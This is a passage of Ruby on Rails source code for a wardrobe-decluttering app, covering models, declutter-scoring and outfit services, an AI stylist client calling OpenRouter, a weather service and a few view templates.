end
def capsule_candidate?
spark_joy? && !released? && !in_declutter_box?
end
def occasions
occasion_tags.to_s.split(",").map(&:strip).reject(&:blank?)
end
def wear!(worn_on: Date.current, outfit: nil, context: nil)
transaction do
increment!(:times_worn)
update!(last_worn_on: worn_on, lifecycle_state: "active") if has_attribute?(:last_worn_on)
wear_logs.create!(user:, outfit:, worn_on:, context:)
touch
end
end
def embedding_text
[title, category, color, brand, material, season, mood_effect, life_phase, occasion_tags].compact.join(" ")
end
def declutter_score
DeclutterScoreService.new(self).score
end
def declutter_recommendation
DeclutterScoreService.new(self).recommendation
end
def duplicate_key
[category, color, material, brand].map { |value| value.to_s.strip.downcase.presence || "unknown" }.join(":")
end
def in_declutter_box? = lifecycle_state == "declutter_box"
def released? = %w[released donated sold recycled].include?(lifecycle_state)
def sentimental? = lifecycle_state == "sentimental_archive"
def current_season
m = Time.current.month
case m
when 3..5 then "Spring"
when 6..8 then "Summer"
when 9..11 then "Autumn"
else "Winter"
end
end
def archive_out_of_season!
return unless season.present? && season != "All-Season" && season != current_season
update!(lifecycle_state: "seasonal_archive")
end
def resurface_seasonal!
if lifecycle_state == "seasonal_archive" && (season == current_season || season == "All-Season")
update!(lifecycle_state: "active")
end
end
def extract_dominant_color!
return unless photos.attached?
photo = photos.first
tempfile = nil
begin
require "vips"
tempfile = Tempfile.new(["item", File.extname(photo.filename.to_s.presence || ".jpg")])
tempfile.binmode
tempfile.write(photo.download)
tempfile.rewind
image = Vips::Image.new_from_file(tempfile.path)
# resize to 1px for approx dominant/average color
thumb = image.resize(1.0 / [image.width, image.height].max.to_f)
px = thumb.getpoint(0, 0)
r = px[0].to_i.clamp(0, 255)
g = px[1].to_i.clamp(0, 255)
b = px[2].to_i.clamp(0, 255)
hex = "#%02x%02x%02x" % [r, g, b]
update!(color: hex)
rescue StandardError => e
Rails.logger.warn("vips dominant color extract failed for item #{id}: #{e.message}")
ensure
tempfile&.close!
end
end
end# frozen_string_literal: true
class Outfit < ApplicationRecord
belongs_to :user
has_many :outfit_items, dependent: :destroy
has_many :items, through: :outfit_items
has_one_attached :image
validates :name, presence: true
broadcasts_refreshes
def like!
increment!(:likes_count)
end
def context_label
[season, category, occasion].compact_blank.join(" · ")
end
def total_wears
items.sum { |item| item.times_worn.to_i }
end
def estimated_value
items.sum { |item| item.price.to_f }
end
end# frozen_string_literal: true
class OutfitItem < ApplicationRecord
belongs_to :outfit
belongs_to :item
validates :outfit, :item, presence: true
validates :item_id, uniqueness: { scope: :outfit_id }
default_scope { order(:position) }
end# frozen_string_literal: true
class PackingList < ApplicationRecord
belongs_to :user
has_many :packing_list_items, dependent: :destroy
has_many :items, through: :packing_list_items
validates :name, :starts_on, :ends_on, presence: true
validate :ends_after_start
def duration_days
return 0 unless starts_on && ends_on
(ends_on - starts_on).to_i + 1
end
private
def ends_after_start
return unless starts_on && ends_on
errors.add(:ends_on, "must be on or after starts_on") if ends_on < starts_on
end
end# frozen_string_literal: true
class PackingListItem < ApplicationRecord
belongs_to :packing_list
belongs_to :item
validates :item_id, uniqueness: { scope: :packing_list_id }
validates :quantity, numericality: { only_integer: true, greater_than: 0 }
end# frozen_string_literal: true
class PlannedOutfit < ApplicationRecord
belongs_to :user
belongs_to :outfit
validates :planned_date, presence: true
validates :planned_date, uniqueness: { scope: :user_id }
scope :upcoming, -> { where("planned_date >= ?", Date.today).order(:planned_date) }
scope :this_week, -> { where(planned_date: Date.today..7.days.from_now) }
broadcasts_refreshes
end# frozen_string_literal: true
class Post < ApplicationRecord
belongs_to :user
belongs_to :outfit, optional: true, touch: true
belongs_to :item, optional: true, touch: true
validates :body, presence: true, length: { maximum: 500 }
scope :recent, -> { order(created_at: :desc) }
broadcasts_refreshes
def like! = increment!(:likes_count)
end# frozen_string_literal: true
class PrivacySetting < ApplicationRecord
belongs_to :user
enum :wardrobe_visibility, { wardrobe_private: "private", wardrobe_followers: "followers", wardrobe_public: "public" }, default: :wardrobe_private
enum :analytics_visibility, { analytics_private: "private", analytics_aggregate: "aggregate", analytics_public: "public" }, default: :analytics_private
def public_wardrobe? = wardrobe_public?
end# frozen_string_literal: true
class Profile < ApplicationRecord
belongs_to :user
has_one_attached :avatar
validates :display_name, length: { maximum: 80 }
validates :bio, length: { maximum: 500 }
enum :visibility, { private_profile: "private", followers_only: "followers", public_profile: "public" }, default: :private_profile
def name
display_name.presence || user.email_address.to_s.split("@").first
end
end# frozen_string_literal: true
class Recommendation < ApplicationRecord
belongs_to :user
belongs_to :item, optional: true
belongs_to :outfit, optional: true
validates :kind, :reason, presence: true
validates :score, numericality: true, allow_nil: true
enum :kind, {
outfit: "outfit",
declutter: "declutter",
purchase_gap: "purchase_gap",
repair: "repair",
resale: "resale",
packing: "packing"
}
scope :active, -> { where(dismissed_at: nil) }
end# frozen_string_literal: true
class Session < ApplicationRecord
belongs_to :user
end# frozen_string_literal: true
class StylePreference < ApplicationRecord
belongs_to :user
validates :name, presence: true
validates :weight, numericality: true
enum :kind, {
aesthetic: "aesthetic",
color: "color",
fit: "fit",
material: "material",
occasion: "occasion",
avoid: "avoid"
}, default: :aesthetic
end# frozen_string_literal: true
class StyleProfile < ApplicationRecord
belongs_to :user
validates :body_type, length: { maximum: 128 }, allow_blank: true
validates :style_preferences, length: { maximum: 2_000 }, allow_blank: true
validates :preferred_colors, length: { maximum: 1_000 }, allow_blank: true
validates :favorite_brands, length: { maximum: 1_000 }, allow_blank: true
def color_list
preferred_colors.to_s.split(/[,\n]/).map(&:strip).reject(&:blank?)
end
def brand_list
favorite_brands.to_s.split(/[,\n]/).map(&:strip).reject(&:blank?)
end
end# frozen_string_literal: true
class SustainabilityMetric < ApplicationRecord
belongs_to :item
validates :resale_value, :repair_cost_estimate, :environmental_score,
numericality: { greater_than_or_equal_to: 0 }, allow_nil: true
def unused?
item.times_worn.to_i.zero?
end
def cost_per_wear = item.cost_per_wear
end# frozen_string_literal: true
class User < ApplicationRecord
has_secure_password
has_one :profile, dependent: :destroy
has_one :creator_profile, dependent: :destroy
has_one :privacy_setting, dependent: :destroy
has_many :posts, dependent: :destroy
has_many :items, dependent: :destroy
has_many :outfits, dependent: :destroy
has_many :planned_outfits, dependent: :destroy
has_many :style_preferences, dependent: :destroy
has_many :packing_lists, dependent: :destroy
has_many :recommendations, dependent: :destroy
has_many :identity_verifications, dependent: :destroy
has_many :consent_events, dependent: :destroy
has_many :declutter_reviews, dependent: :destroy
has_many :declutter_challenges, dependent: :destroy
has_many :declutter_outcomes, dependent: :destroy
has_many :follows_as_follower, class_name: "Follow", foreign_key: :follower_id, dependent: :destroy
has_many :follows_as_followee, class_name: "Follow", foreign_key: :followee_id, dependent: :destroy
has_many :following, through: :follows_as_follower, source: :followee
has_many :followers, through: :follows_as_followee, source: :follower
has_many :sessions, dependent: :destroy
normalizes :email_address, with: ->(e) { e.strip.downcase }
after_create :ensure_identity_records
broadcasts_refreshes
def following?(other) = follows_as_follower.exists?(followee: other)
def feed_posts = Post.where(user: [self] + following.to_a).recent
def public_creator? = creator_profile&.public? || false
def wardrobe_public? = privacy_setting&.public_wardrobe? || false
def declutter_summary = DeclutterDashboardService.new(self).summary
private
def ensure_identity_records
create_profile! unless profile
create_privacy_setting! unless privacy_setting
end
end# frozen_string_literal: true
class WardrobeItem < ApplicationRecord
CONDITIONS = %w[new excellent good worn repair retire].freeze
belongs_to :user
belongs_to :item
validates :condition, inclusion: { in: CONDITIONS }, allow_blank: true
validates :user_id, uniqueness: { scope: :item_id }
scope :recent, -> { order(created_at: :desc) }
scope :needs_attention, -> { where(condition: %w[repair retire]) }
def age_in_days
return 0 unless acquisition_date
(Date.current - acquisition_date).to_i
end
end# frozen_string_literal: true
class WearLog < ApplicationRecord
belongs_to :user
belongs_to :item
belongs_to :outfit, optional: true
validates :worn_on, presence: true
validates :context, length: { maximum: 300 }
scope :recent, -> { order(worn_on: :desc, created_at: :desc) }
end# frozen_string_literal: true
class ApplicationReflex < StimulusReflex::Reflex
end# frozen_string_literal: true
class CapsuleBuilderService
DEFAULT_LIMIT = 12
def initialize(user)
@user = user
end
def build(limit: DEFAULT_LIMIT, occasion: nil, season: nil)
candidates = @user.items.joy
candidates = candidates.by_occasion(occasion) if occasion.present?
candidates = candidates.where(season: [season, "All-Season", nil, ""]) if season.present?
selected = []
Item::CATEGORIES.each do |category|
item = candidates.by_category(category).worn_most.first || candidates.by_category(category).recent.first
selected << item if item
end
remaining = candidates.where.not(id: selected.compact.map(&:id)).sort_by do |item|
[-(item.times_worn.to_i), item.cost_per_wear || 999_999, item.created_at || Time.current]
end
(selected.compact + remaining).uniq.first(limit)
end
def explain(items)
items.map do |item|
{
id: item.id,
title: item.title,
category: item.category,
reason: reason_for(item)
}
end
end
private
def reason_for(item)
return "High utility: worn #{item.times_worn} times." if item.times_worn.to_i.positive?
return "Strong emotional signal: sparks joy." if item.spark_joy?
"Adds category coverage for #{item.category}."
end
end# frozen_string_literal: true
class DeclutterActionRouter
def initialize(item)
@item = item
end
def action
score = @item.declutter_score
recommendation = score[:recommendation]
{
recommendation: recommendation,
destination: destination_for(recommendation),
copy: copy_for(recommendation),
score: score
}
end
private
def destination_for(recommendation)
case recommendation
when "keep" then "active_wardrobe"
when "wear_this_week" then "challenge"
when "replace_gradually" then "replacement_watchlist"
when "repair" then "repair_queue"
when "sell" then "resale"
when "donate" then donation_bucket
when "sentimental_archive" then "memory_box"
else "declutter_box"
end
end
def donation_bucket
return "winter_clothing_donation" if @item.category == "Outerwear"
return "workwear_donation" if @item.occasions.include?("work")
return "textile_recycling" if @item.lifecycle_state == "repair"
"general_donation"
end
def copy_for(recommendation)
case recommendation
when "keep" then "Keep: it still has joy and real utility."
when "wear_this_week" then "Try once this week before deciding."
when "replace_gradually" then "Useful but low joy: replace only when a better version appears."
when "repair" then "Repair before releasing; this may still serve you."
when "sell" then "Good resale candidate. Photograph and list it while in season."
when "donate" then "Ready to release through donation."
when "sentimental_archive" then "Move out of daily wardrobe into a memory archive."
else "Move to a 30-day declutter box."
end
end
end# frozen_string_literal: true
class DeclutterDashboardService
def initialize(user)
@user = user
end
def summary
items = @user.items
active = items.active_wardrobe
released = items.where(lifecycle_state: %w[released donated sold recycled])
{
total_items: items.count,
active_items: active.count,
declutter_box: items.declutter_box.count,
sentimental_archive: items.sentimental.count,
released_items: released.count,
never_worn: active.never_worn.count,
duplicate_groups: DuplicateDetectorService.new(@user).groups.count,
amount_recovered: @user.declutter_outcomes.sum(:amount_recovered),
top_candidates: top_candidates(active),
matrix: matrix(active)
}
end
private
def top_candidates(scope)
scope.to_a.sort_by { |item| -item.declutter_score[:total_release_score] }.first(12)
end
def matrix(scope)
scope.group_by { |item| item.declutter_score[:quadrant] }.transform_values(&:count)
end
end# frozen_string_literal: true
class DeclutterScoreService
def initialize(item)
@item = item
end
def score
{
joy: joy_score,
utility: utility_score,
fit: fit_score,
duplicate_pressure: duplicate_pressure,
cost_pressure: cost_pressure,
repair_pressure: repair_pressure,
total_release_score: total_release_score.round(3),
quadrant: quadrant,
recommendation: recommendation
}
end
def recommendation
return "keep" if high_joy? && high_utility?
return "sentimental_archive" if sentimental_signal? && !high_utility?
return "wear_this_week" if high_joy? && !high_utility?
return "replace_gradually" if !high_joy? && high_utility?
return "repair" if repair_pressure > 0.65
return "sell" if resale_candidate?
return "donate" if donation_candidate?
"declutter_box"
end
private
def joy_score
return 1.0 if @item.spark_joy == true
return 0.15 if @item.spark_joy == false
case @item.life_phase
when "current" then 0.65
when "aspirational" then 0.45
when "past-self" then 0.25
else 0.5
end
end
def utility_score
wears = @item.times_worn.to_i
recent_bonus = @item.respond_to?(:last_worn_on) && @item.last_worn_on.present? && @item.last_worn_on > 90.days.ago.to_date ? 0.25 : 0
([wears / 20.0, 0.75].min + recent_bonus).clamp(0.0, 1.0)
end
def fit_score
review = @item.declutter_review
return 0.2 if review&.reason_kept == "uncomfortable"
return 0.35 if @item.life_phase == "past-self"
0.75
end
def duplicate_pressure
similar = @item.user.items.active_wardrobe.where.not(id: @item.id).select { |candidate| candidate.duplicate_key == @item.duplicate_key }
[similar.size / 4.0, 1.0].min
end
def cost_pressure
return 0.0 unless @item.price.present?
return 0.8 if @item.times_worn.to_i.zero? && @item.price.to_f > 500
return 0.5 if @item.cost_per_wear.to_f > 250
0.1
end
def repair_pressure
return 0.0 unless @item.lifecycle_state.in?(%w[repair clean_needed tailor])
estimate = @item.sustainability_metric&.repair_cost_estimate.to_f
price = @item.price.to_f
return 0.5 if price.zero?
[estimate / price, 1.0].min
end
def total_release_score
(1.0 - joy_score) * 0.28 +
(1.0 - utility_score) * 0.28 +
(1.0 - fit_score) * 0.14 +
duplicate_pressure * 0.14 +
cost_pressure * 0.08 +
repair_pressure * 0.08
end
def quadrant
return "high_joy_high_use" if high_joy? && high_utility?
return "high_joy_low_use" if high_joy? && !high_utility?
return "low_joy_high_use" if !high_joy? && high_utility?
"low_joy_low_use"
end
def high_joy? = joy_score >= 0.6
def high_utility? = utility_score >= 0.45
def sentimental_signal?
@item.declutter_review&.reason_kept.in?(%w[memory gift rare]) || @item.life_phase == "past-self"
end
def resale_candidate?
@item.price.to_f >= 300 && @item.photos.attached? && total_release_score > 0.45
end
def donation_candidate?
total_release_score > 0.55 && !resale_candidate?
end
end# frozen_string_literal: true
class DuplicateDetectorService
def initialize(user)
@user = user
end
def groups(min_size: 2)
@user.items.active_wardrobe.group_by(&:duplicate_key).values.select { |items| items.size >= min_size }
end
def ranked_groups
groups.map do |items|
{
key: items.first.duplicate_key,
count: items.size,
keeper: best_keeper(items),
candidates: release_candidates(items),
reason: reason_for(items)
}
end.sort_by { |group| -group[:count] }
end
private
def best_keeper(items)
items.max_by { |item| [item.times_worn.to_i, item.spark_joy? ? 1 : 0, -(item.cost_per_wear || 0)] }
end
def release_candidates(items)
keeper = best_keeper(items)
items.reject { |item| item == keeper }.sort_by { |item| [-item.declutter_score[:total_release_score], item.times_worn.to_i] }
end
def reason_for(items)
first = items.first
"#{items.size} similar #{first.color} #{first.category.to_s.downcase} items. Keep the best-fitting favorite and release weak duplicates."
end
end# frozen_string_literal: true
class GarmentTaxonomy
CATEGORY_ALIASES = {
"top" => "Tops",
"shirt" => "Tops",
"tee" => "Tops",
"t-shirt" => "Tops",
"pants" => "Bottoms",
"trousers" => "Bottoms",
"jeans" => "Bottoms",
"skirt" => "Bottoms",
"dress" => "Dresses",
"shoe" => "Shoes",
"sneaker" => "Shoes",
"boot" => "Shoes",
"jacket" => "Outerwear",
"coat" => "Outerwear",
"accessory" => "Accessories",
"bag" => "Accessories"
}.freeze
WEATHER_BY_MATERIAL = {
/wool|cashmere|alpaca/i => "cold",
/linen|hemp/i => "warm",
/cotton/i => "mild",
/leather|suede/i => "dry",
/nylon|polyester|shell/i => "rain"
}.freeze
FORMALITY_BY_CATEGORY = {
"Dresses" => 0.65,
"Outerwear" => 0.45,
"Shoes" => 0.5,
"Accessories" => 0.35,
"Tops" => 0.4,
"Bottoms" => 0.4
}.freeze
def self.normalize_category(value)
raw = value.to_s.strip
Item::CATEGORIES.find { |category| category.casecmp?(raw) } || CATEGORY_ALIASES.fetch(raw.downcase, raw.presence || "Accessories")
end
def self.weather_fit(item)
material = item.material.to_s
match = WEATHER_BY_MATERIAL.find { |pattern, _fit| material.match?(pattern) }
match&.last || "all_weather"
end
def self.formality_score(item)
base = FORMALITY_BY_CATEGORY.fetch(item.category, 0.4)
modifiers = [item.brand, item.material, item.occasion_tags].join(" ")
base += 0.2 if modifiers.match?(/silk|wool|tailored|formal|wedding|office/i)
base -= 0.15 if modifiers.match?(/gym|sweat|jersey|beach/i)
base.clamp(0.0, 1.0).round(2)
end
def self.semantic_tags(item)
[
item.category,
item.color,
item.material,
item.brand,
weather_fit(item),
"formality:#{formality_score(item)}",
*item.occasions
].compact.map(&:to_s).reject(&:blank?).uniq
end
end# frozen_string_literal: true
class LastChanceOutfitService
def initialize(item)
@item = item
@user = item.user
end
def suggestions(limit: 3)
compatible_items = @user.items.active_wardrobe.where.not(id: @item.id).to_a
outfits = []
limit.times do |index|
outfit_items = build_candidate(compatible_items, offset: index)
outfits << explain(outfit_items) if outfit_items.size > 1
end
outfits.uniq { |outfit| outfit[:item_ids].sort }
end
private
def build_candidate(items, offset: 0)
selected = [@item]
needed_categories.each_with_index do |category, idx|
candidate = items.select { |item| item.category == category }.sort_by do |item|
[-(item.times_worn.to_i), item.color.to_s == @item.color.to_s ? 0 : 1, item.title.to_s]
end.rotate(offset + idx).first
selected << candidate if candidate
end
selected.compact.uniq
end
def needed_categories
case @item.category
when "Tops" then %w[Bottoms Shoes Outerwear]
when "Bottoms" then %w[Tops Shoes Outerwear]
when "Shoes" then %w[Tops Bottoms]
when "Dresses" then %w[Shoes Outerwear Accessories]
else %w[Tops Bottoms Shoes]
end
end
def explain(items)
{
item_ids: items.map(&:id),
titles: items.map(&:title),
reason: "Last-chance outfit for #{@item.title}: test whether it still has a role in your real wardrobe."
}
end
end# frozen_string_literal: true
class OutfitCompatibilityService
OCCASION_WEIGHTS = {
"work" => 0.72,
"formal" => 0.85,
"gym" => 0.18,
"date" => 0.65,
"travel" => 0.45,
"casual" => 0.35
}.freeze
def initialize(user)
@user = user
end
def score(outfit, occasion: nil, weather: nil)
items = outfit.items.to_a
return 0.0 if items.empty?
scores = [category_balance(items), color_balance(items), occasion_fit(items, occasion), weather_fit(items, weather), preference_fit(items)]
(scores.sum / scores.size).round(3)
end
def explain(outfit, occasion: nil, weather: nil)
items = outfit.items.to_a
{
category_balance: category_balance(items),
color_balance: color_balance(items),
occasion_fit: occasion_fit(items, occasion),
weather_fit: weather_fit(items, weather),
preference_fit: preference_fit(items),
overall: score(outfit, occasion:, weather:)
}
end
private
def category_balance(items)
categories = items.map(&:category).compact
required = %w[Tops Bottoms Shoes]
coverage = required.count { |category| categories.include?(category) } / required.size.to_f
[coverage, 1.0].min
end
def color_balance(items)
colors = items.map(&:color).compact_blank.map(&:downcase)
return 0.5 if colors.empty?
unique = colors.uniq.size
return 0.9 if unique <= 3
return 0.7 if unique == 4
0.45
end
def occasion_fit(items, occasion)
return 0.7 if occasion.blank?
desired = OCCASION_WEIGHTS.fetch(occasion.to_s.downcase, 0.5)
avg = items.sum { |item| GarmentTaxonomy.formality_score(item) } / items.size.to_f
(1.0 - (desired - avg).abs).clamp(0.0, 1.0)
end
def weather_fit(items, weather)
return 0.75 if weather.blank?
weather = weather.to_s.downcase
matches = items.count { |item| [GarmentTaxonomy.weather_fit(item), "all_weather"].include?(weather) || GarmentTaxonomy.weather_fit(item) == "all_weather" }
[matches / items.size.to_f, 1.0].min
end
def preference_fit(items)
preferences = @user.style_preferences.to_a
return 0.7 if preferences.empty?
text = items.map(&:embedding_text).join(" ").downcase
total_weight = preferences.sum { |preference| preference.weight.to_f.abs }
return 0.7 if total_weight.zero?
score = preferences.sum do |preference|
text.include?(preference.name.to_s.downcase) ? preference.weight.to_f : 0
end
((score / total_weight) + 0.5).clamp(0.0, 1.0)
end
end# frozen_string_literal: true
class OutfitOrdering
def self.call(outfit, ordered_ids)
new(outfit, ordered_ids).call
end
def initialize(outfit, ordered_ids)
@outfit = outfit
@ordered_ids = Array(ordered_ids).map(&:to_s)
end
def call
items = outfit.outfit_items.where(id: ordered_ids)
index = ordered_ids.each_with_index.to_h
items.find_each do |outfit_item|
outfit_item.update!(position: index.fetch(outfit_item.id.to_s, outfit_item.position))
end
Shared::EventEmitter.call("amber.outfit.reordered", outfit_id: outfit.id, count: ordered_ids.size) if defined?(Shared::EventEmitter)
outfit.outfit_items.order(:position)
end
private
attr_reader :outfit, :ordered_ids
end# frozen_string_literal: true
require "zlib"
require "base64"
class WardrobeAiService
OPENROUTER_BASE = "https://openrouter.ai/api/v1"
MODEL = "google/gemini-2.0-flash-001"
def initialize(user, client: nil)
@user = user
@client = client || build_client
end
def analyze_joy(item)
prompt = <<~PROMPT
Analyze this clothing item from a Marie Kondo perspective.
Reply with JSON: {"sparks_joy": true/false, "reason": "brief explanation", "suggestion": "action to take"}
Item: #{item.title}
Category: #{item.category}
Color: #{item.color}
Times worn: #{item.times_worn || 0}
Age: #{item.purchase_date ? "#{((Date.today - item.purchase_date) / 365).to_i} years" : "unknown"}
PROMPT
chat(prompt).tap do |r|
r["sparks_joy"] = nil unless r.key?("sparks_joy")
r["reason"] ||= "Analysis unavailable"
r["suggestion"] ||= "Trust your instincts"
end
end
def suggest_outfits(occasion: nil, season: nil)
items = @user.items.joy.active_wardrobe.limit(20).to_a
items_summary = items.map { |i| "#{i.title} (#{i.category}, #{i.color})" }.join(", ")
prompt = <<~PROMPT
You are a fashion stylist with vision. Suggest 3 outfit combinations (3 items each) from the wardrobe.
Use both the text metadata and the attached photos to judge fit, colour harmony, style, and occasion.
#{occasion ? "Occasion: #{occasion}" : ""}
#{season ? "Season: #{season}" : ""}
Items: #{items_summary}
Reply ONLY with JSON: {"outfits": [{"name": "outfit name", "items": ["item title 1", "item title 2", "item title 3"], "description": "why it works"}]}
PROMPT
vision_items = items.select { |i| i.photos.attached? }.first(5)
if vision_items.any? && @client
images = vision_items.map { |i| image_data_url(i.photos.first) }.compact
chat_with_vision(prompt, images)["outfits"] || []
else
chat(prompt)["outfits"] || []
end
end
def declutter_candidates
@user.items.aging_unworn.order(price: :desc)
end
def capsule_optimizer
catalog = @user.items.map { |i| "#{i.id}:#{i.title}(#{i.category},#{i.color})" }.join("; ")
prompt = <<~P
You are a capsule wardrobe expert. Given this wardrobe catalog, select a minimum keep-set
that maximises outfit combinations. For each item return: keep/consider/release and reason.
Respond with JSON: {"items":[{"id":N,"title":"...","decision":"keep|consider|release","reason":"..."}],"gap_items":["description of missing pieces"]}
Catalog: #{catalog}
P
chat(prompt)
end
def color_palette_analysis
items_desc = @user.items.map { |i| "#{i.title}: #{i.color}" }.join(", ")
prompt = <<~P
Analyse this wardrobe color list and identify the dominant palette, harmony gaps,
and any clashing items. Map to a seasonal color system where possible.
Respond with JSON: {"palette":"...","season_type":"...","harmonious":["item desc"],"clashing":["item desc"],"suggestions":["..."]}
Items: #{items_desc}
P
chat(prompt)
end
def natural_language_search(query)
catalog = @user.items.map { |i| "id=#{i.id} #{i.title} #{i.category} #{i.color} #{i.material} #{i.occasion_tags} #{i.season}" }.join("\n")
prompt = <<~P
From this wardrobe, find items matching: "#{query}"
Return JSON: {"item_ids":[array of matching ids],"explanation":"..."}
Wardrobe:
#{catalog}
P
chat(prompt)
end
def mood_board_match(description)
catalog = @user.items.map { |i| "id=#{i.id} #{i.title} #{i.category} #{i.color} #{i.material}" }.join("\n")
prompt = <<~P
Style reference: "#{description}"
From this wardrobe, suggest the best outfit matching that aesthetic.
Return JSON: {"item_ids":[array of ids],"outfit_name":"...","description":"why this matches"}
Wardrobe:
#{catalog}
P
chat(prompt)
end
def enclothed_cognition_tag(item)
prompt = <<~P
For this clothing item, suggest the most likely psychological/mood effect when worn.
Choose one: energising, calming, confident, playful, neutral.
Also suggest life_phase: current, past-self, or aspirational.
Reply JSON: {"mood_effect":"...","life_phase":"...","reason":"..."}
Item: #{item.title}, category: #{item.category}, color: #{item.color}, brand: #{item.brand}
P
chat(prompt)
end
def embedding_for(item)
text = item.embedding_text.to_s
seed = Zlib.crc32(text)
Array.new(64) do |index|
(((seed + index * 1_103_515_245) % 10_000) / 10_000.0).round(6)
end
end
private
def build_client
token = ENV["OPENROUTER_API_KEY"].to_s.strip
return nil if token.empty?
OpenAI::Client.new(access_token: token, uri_base: OPENROUTER_BASE)
end
def chat(prompt)
return fallback_response(prompt) unless @client
response = @client.chat(
parameters: {
model: MODEL,
messages: [{ role: "user", content: prompt }],
response_format: { type: "json_object" },
},
)
content = response.dig("choices", 0, "message", "content")
return fallback_response(prompt) if content.blank?
JSON.parse(content)
rescue JSON::ParserError => e
Rails.logger.warn("WardrobeAI invalid JSON: #{e.message}")
fallback_response(prompt)
rescue StandardError => e
Rails.logger.error("WardrobeAI error: #{e.class}: #{e.message}")
fallback_response(prompt)
end
def fallback_response(prompt)
if prompt.include?("outfit combinations")
{ "outfits" => [] }
elsif prompt.include?("matching:")
{ "item_ids" => [], "explanation" => "AI search unavailable" }
elsif prompt.include?("capsule wardrobe")
{ "items" => [], "gap_items" => [] }
else
{}
end
end
def infer_style_profile(answers)
prompt = <<~PROMPT
User answered these 5 style profile questions. Infer primary aesthetic as one of: minimal, bold, classic.
Return JSON only: {"aesthetic": "minimal|bold|classic", "reason": "short", "suggestions": ["item type 1", "item type 2"]}
Answers: #{answers.inspect}
Current wardrobe sample: #{ @user.items.limit(3).map { |i| "#{i.title} (#{i.category}, #{i.color})" }.join("; ") }
PROMPT
chat(prompt)
end
def suggest_packing_list(duration, climate)
prompt = <<~PROMPT
Suggest 5-8 outfits from the user's wardrobe for a #{duration}-day trip in #{climate} climate.
Return JSON: {"outfits": [{"name": "outfit name", "items": ["item title 1", "item title 2"]}, ...], "tips": "brief packing tip"}
User wardrobe: #{ @user.items.limit(10).map { |i| "#{i.title} (#{i.category}, #{i.color}, #{i.season})" }.join("; ") }
PROMPT
chat(prompt)
end
def image_data_url(photo)
return nil unless photo
data = photo.download
"data:#{photo.content_type.presence || 'image/jpeg'};base64,#{Base64.strict_encode64(data)}"
end
def chat_with_vision(prompt, image_data_urls)
return fallback_response(prompt) unless @client && image_data_urls.any?
content = [{ type: "text", text: prompt }]
image_data_urls.each do |url|
content << { type: "image_url", image_url: { url: url } }
end
response = @client.chat(
parameters: {
model: MODEL,
messages: [{ role: "user", content: content }],
},
)
content = response.dig("choices", 0, "message", "content")
return fallback_response(prompt) if content.blank?
JSON.parse(content)
rescue JSON::ParserError => e
Rails.logger.warn("WardrobeAI vision invalid JSON: #{e.message}")
fallback_response(prompt)
rescue StandardError => e
Rails.logger.error("WardrobeAI vision error: #{e.class}: #{e.message}")
fallback_response(prompt)
end
end# frozen_string_literal: true
class WardrobeGapService
ESSENTIALS = {
"Tops" => 5,
"Bottoms" => 3,
"Shoes" => 2,
"Outerwear" => 1,
"Accessories" => 2
}.freeze
CONNECTORS = [
{ name: "neutral top", category: "Tops", colors: %w[white black navy grey beige] },
{ name: "dark bottom", category: "Bottoms", colors: %w[black navy denim charcoal] },
{ name: "weather layer", category: "Outerwear", colors: %w[black navy beige olive] },
{ name: "versatile shoe", category: "Shoes", colors: %w[black white brown] }
].freeze
def initialize(user)
@user = user
end
def gaps
ESSENTIALS.filter_map do |category, minimum|
count = @user.items.by_category(category).count
next if count >= minimum
{
kind: "category_minimum",
category: category,
owned: count,
target: minimum,
missing: minimum - count,
reason: "A resilient wardrobe usually needs at least #{minimum} #{category.downcase}."
}
end + connector_gaps
end
def create_recommendations!
gaps.each do |gap|
@user.recommendations.find_or_create_by!(kind: "purchase_gap", reason: gap[:reason]) do |recommendation|
recommendation.score = gap.fetch(:missing, 1).to_f
recommendation.metadata = gap
end
end
end
private
def connector_gaps
CONNECTORS.filter_map do |connector|
exists = @user.items.by_category(connector[:category]).any? do |item|
connector[:colors].include?(item.color.to_s.downcase)
end
next if exists
{
kind: "connector",
category: connector[:category],
name: connector[:name],
reason: "Missing #{connector[:name]} for easier outfit combinations."
}
end
end
end# frozen_string_literal: true
class WardrobeVisibilityPolicy
def initialize(viewer:, owner:)
@viewer = viewer
@owner = owner
end
def can_view_wardrobe?
return true if @viewer == @owner
setting = @owner.privacy_setting
return false unless setting
return true if setting.wardrobe_public?
return @viewer&.following?(@owner) if setting.wardrobe_followers?
false
end
def can_remix_creator_wardrobe?
@owner.creator_profile&.public? && @owner.privacy_setting&.allow_creator_remix?
end
def can_run_ai_analysis?
@viewer == @owner && (@owner.privacy_setting&.allow_ai_analysis? != false)
end
end# frozen_string_literal: true
class WeatherService
BERGEN_LAT = 60.39
BERGEN_LNG = 5.32
API_URL = "https://api.open-meteo.com/v1/forecast"
def self.today
uri = URI("#{API_URL}?latitude=#{BERGEN_LAT}&longitude=#{BERGEN_LNG}" \
"¤t=temperature_2m,weathercode,windspeed_10m" \
"&forecast_days=1")
data = JSON.parse(Net::HTTP.get(uri))
current = data["current"]
{
temp: current["temperature_2m"].to_f,
code: current["weathercode"].to_i,
wind: current["windspeed_10m"].to_f,
description: decode_weather(current["weathercode"].to_i)
}
rescue StandardError => e
Rails.logger.warn("WeatherService: #{e.message}")
nil
end
def self.decode_weather(code)
case code
when 0 then "Clear"
when 1..3 then "Partly cloudy"
when 45, 48 then "Foggy"
when 51..67 then "Rainy"
when 71..77 then "Snowy"
when 80..82 then "Showers"
when 95..99 then "Thunderstorm"
else "Mixed"
end
end
end<aside class="ai-card">
<% if result["sparks_joy"].nil? %>
<p class="dim">Analysis unavailable</p>
<% else %>
<strong><%= result["sparks_joy"] ? "Sparks joy" : "Does not spark joy" %></strong>
<p><%= result["reason"] %></p>
<p class="dim"><em><%= result["suggestion"] %></em></p>
<% end %>
</aside><div id="item_<%= item.id %>_tags" class="ai-card">
<% if item.mood_effect.present? %>
<span class="tag">Mood: <%= item.mood_effect %></span>
<% end %>
<% if item.life_phase.present? %>
<span class="tag tag--phase"><%= item.life_phase %></span>
<% end %>
<% if result["reason"].present? %>
<p class="dim"><%= result["reason"] %></p>
<% end %>
</div><% content_for :title, "Capsule Optimizer" %>
<header>
<div>
<p class="dim">Capsule builder</p>
<h1>Capsule Wardrobe Optimizer</h1>
</div>
<nav>
<%= link_to "Wardrobe", items_path, class: "btn" %>
<%= link_to "Outfits", outfits_path, class: "btn" %>
</nav>
</header>
<% if @result["items"] %>
<div class="tag-row">
<span class="tag"><%= pluralize(@result["items"].size, "item reviewed") %></span>
<span class="tag"><%= pluralize(Array(@result["gap_items"]).size, "gap") %></span>
</div>
<div class="capsule-list">
<% @result["items"].each do |item| %>
